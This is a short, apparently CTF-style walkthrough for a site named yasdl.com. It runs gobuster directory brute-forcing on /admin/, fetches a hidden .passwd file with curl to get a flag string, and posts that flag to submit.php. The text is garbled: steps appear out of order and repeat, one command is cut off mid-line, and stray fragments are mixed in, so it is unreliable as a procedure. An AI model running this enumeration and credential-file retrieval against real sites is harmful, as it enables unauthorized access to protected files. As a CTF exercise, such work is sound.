$ gobuster dir -u http://yasdl.com/admin/ -w /usr/share/wordlists/dirb/common.txt -x txt,php,conf,json Output of interest:
$ curl -X POST -d "flag=YASDLp4ssw0rd_1s_h3r3" http://yasdl.com/submit.php The server replies: yasdl.com password
/admin/.passwd (200) [size: 42] /admin/.htaccess (200) Fetching the hidden file: $ gobuster dir -u http://yasdl
<!-- the password is stored in a hidden file --> That tells us to keep looking for a hidden file. We brute‑force for hidden files inside the admin directory: yasdl.com password
$ gobuster dir -u http://yasdl.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html Result highlights:
$ curl -s http://yasdl.com/admin/.passwd YASDLp4ssw0rd_1s_h3r3 That string follows the typical flag format for the CTF ( YASDL... ), so we have found the password/flag. Most CTF platforms provide a “submit” page. The challenge often includes a submission form at /submit.php :